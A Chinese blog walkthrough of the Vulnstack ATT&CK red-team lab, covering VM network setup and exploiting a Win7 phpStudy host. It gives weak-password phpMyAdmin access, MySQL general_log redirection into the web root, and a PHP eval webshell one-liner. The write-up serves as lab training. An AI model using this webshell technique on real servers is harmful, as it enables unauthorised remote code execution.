靶机练习 - ATT&CK红队实战靶场 - 1. 环境搭建和漏洞利用
作者:互联网
最近某个公众号介绍了网上的一套环境,这个环境是多个Windows靶机组成的,涉及到内网渗透,正好Windows和内网渗透一直没怎么接触过,所以拿来学习下。
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
环境配置和检查
加上kali一共四台虚拟机。
win7 x64
需要配置两张网卡,一个在内网网段,一个在外网网段,配置如下(VM默认只有一张网卡,自己添加一个网络适配器就好了),内网网络配置为特定虚拟网络:
两台内网服务器,网络配置如下:
kali虚拟机应只能连到外网,也就是和win7的外网网卡在同一网段,但无法访问内网网段,网络配置如下:
启动win7虚拟机C盘下的phpstudy:
最后内网的三台虚拟机互相ping一下,保证能ping通。
信息收集
kali扫一下ip,win7外网网址为:192.168.174.135:
对win7进行端口扫描:
80端口是一个网站,发现网站底部有一个MySQL数据库连接检测:
尝试输入用户名和密码root/root,连上了。。。就。。。挺突然的。。。
再对网站进行扫描,发现phpinifo.php和phpmyadmin页面:
漏洞利用
第一步信息收集找到了php后台管理页面以及mysql的root密码,接下来尝试利用这个漏洞getshell从而控制发布网站的这台主机。
访问http://192.168.174.135/phpmyadmin/,并用弱密码root/root登录,利用方式有两种:
1. 利用into outfile直接写入shell文件
show variables like '%secure%'
很遗憾secure_file_priv的值是NULL,也就是不允许导入导出,如果尝试写入shell文件会失败:
2.利用日志getshell
开启mysql日志功能:
show global variables like '%general%'
set global general_log='ON'
将日志文件的存放位置修改为当前网站的根目录:
set global general_log_file = 'C:/phpStudy/WWW/shell.php'
执行语句:
SELECT '<?php @eval($_POST["cmd"]); ?>'
用蚁剑连接:
当前域名为god,登录用户是admin:
标签:CK,网网,内网,虚拟机,win7,网卡,ATT,红队,root 来源: https://www.cnblogs.com/sallyzhang/p/13427634.html